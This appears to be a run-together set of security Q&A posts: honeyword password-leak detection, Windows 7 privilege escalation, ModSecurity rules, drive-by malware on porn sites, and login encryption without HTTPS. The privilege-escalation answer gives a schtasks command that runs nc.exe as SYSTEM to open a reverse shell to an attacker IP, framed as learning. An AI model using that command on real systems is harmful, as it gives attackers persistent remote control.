You're reading the proposal slightly wrong. This is not intended as a safeguard to detect an intrusion to already compromised system, but as means of detecting compromised system's database. This is a whole different scenario, where the attacker wouldn't already have gained access to the system by knowing any end user password, but somehow (improperly discarded backup, physical break-in,...) got his hands on a leaked user database that stores hashed passwords.

The assumption is, that the attacker wouldn't know which brute-forced hash matches the true password of an individual user, and might trigger the alarm by using the honeyword password instead. It's quite a sane method as much as I read about it so far, but have yet to see any real-life implementations (the computational overhead is substantial on proper hashing using slow algorithms). It's also slightly questionable because of the limited abilities of the honeypot itself to prevent additional login attempts by other IPs the attacker might use once the previous IP used was already blacklisted (this is trivial to do to a would-be attacker), but the detection mechanism is sound nonetheless.

Question is, what should happen next, after such attempt is detected. The most obvious solution is to disable the user account in question (the one that the attacker tried to hack into), but what happens when a true user himself enters one of such honeywords by mistake? These words should be substantially different to what user himself chose as a password, and there are other constraints such as where in the database to position the real password in relation to honeyword ones?

Still, these questions might be trivial to address properly, and cheap in comparison to what would happen without such safeguards in place. This said, the answer to your question is - yes, definitely.


I am a member of the Administrators group on a Windows 7 box, how can I spawn a reverse shell with elevated privileges? I am learning Windows Privilege escalation. I've managed to add a user to the Administrators group but I don't know how to execute nc.exe, present in the Temp dir, with elevated privileges.
I am running runas /user:tcm-pc\administrator nc.exe -e cmd <ip> <port>; however, it asks for an administrator password, which I don't have.
My end goal, here, is to get a reverse-shell as nt authority\system, with this newly created privileges for the user user.
Following are some of the details on the Windows box:
c:\Temp>net localgroup administrators
net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
TCM
user
The command completed successfully.

c:\Temp>whoami
whoami
tcm-pc\user

c:\Temp>systeminfo

Host Name:                 TCM-PC
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          TCM
Registered Organization:
...

As your whoami command states, your current user is user, and user is an administrator already, as your net command states.
That means that you won't gain anything in terms of privileges if you try to execute a command as administrator with runas.
You mention that your goal is to get a reverse shell as nt authority\system.
A member of the administrators group has the privilege to create a task that will run as nt authority\system with the following command for example:
 schtasks /create /sc minute /mo 5 /RU SYSTEM /tn myprivesc /tr "nc.exe -e cmd.exe <attacker_ip> <attacker_port>"


Generating Web Application Security Profile Currently i have deployed ModSecurity as a reverse proxy for providing application layer security. Now i want to write application specific rules for all the web application i am protecting i.e. Positive/Negative Security Model for Web application. My question and doubts are

Is there as template for writing security profiles for Web application i.e security policy regarding application specific parameters, application specific headers and application structure ? In short using this profile i want to write WAF rule and track changes i.e. if Web application is enhanced with some new features then what are the risk. I also want to share this profile with my client for compliance.

You might have heard of this.There is a mod_security rule set provided by OWASP. This rule set is to protect from the top 10 attacks listed by OWASP(you can download from OWASP website)


How exactly do viruses get on computer when watching online porn? I've been hearing that your computer could get infected when you visit porn sites, especially when watching videos.

But how exactly do viruses get on client side? Is it by cache? Or maybe by exploiting flash player/browser vulnerabilities? Could you give an example? How likely is to get infected such way?

Later Edit: @Polynomial gives a pretty good list of attack vectors here.

Most common vectors:

Drive by download - Download is forced on to your computer, and you may either be forced or tempted to execute a malicious file. You are just browsing and all of a sudden you get freebooks.pdf.dll, or worse a browser/OS flaw lets the download happen without you seeing it.
Malicious advertisement with malicious javascript - Malicious javascript takes advantage of a browser flaw to exploit your system.

This isn't limited to porn. There are lots of other sorts of sites that have these problems.


Effective Free and Anonymous Web Form Encryption I've got a website and I would like the users to be able to login securely but I don't want to spend any money on SSL / certificates and I would like to stay anonymous i.e. not give the certificates people my personal details.

I've been reading around on some ways to do this, the best solution i've found is using a javascript library called jCryption that encrypts between client and server, but the encryption is in the hands of the users then.

The reason why I'm doing this cheap is because a) to get proper SSL you need the certificate, a static IP and an upgraded server account ... all of which cost money and b) because not many people will be logging in and c) the data isn't really 'top secret' stuff, I just don't want password flying through the internet in plaintext.

Is it feasible to encrypt html login forms between the client and server? If I did do this would the data be reasonably safe or could any script kiddy break it?

What you want is not possible, because there is no established trust relation between client and server and plain HTTP can not provide a secure way to establish this trust. Only HTTPS provides thus trust by checking the servers certificate against local trust anchors at the client, that is it infers the new trust from trust settings already built into the browser.

Without such trust between client and server you are open to man-in-the-middle attacks, where the attacker claims to be the server against the client and claims to be the client against the original server. In this case the encryption will be done between your client and the attacker, which then can decrypt the data, manipulate the data and forward the data encrypted to the real server. Such man-in-the-middle attacks are easily done in lot of networks (like public WLAN and most smaller LANs too).

While you might try to use a pre-shared secret to use instead of certificates it has the same problem: the secret somehow needs transferred between client and server and as long as this connection is open to manipulation (plain HTTP) the attacker can get and manipulate the shared secret. Even anonymous key exchange methods like Diffie-Hellmann can not protect against this.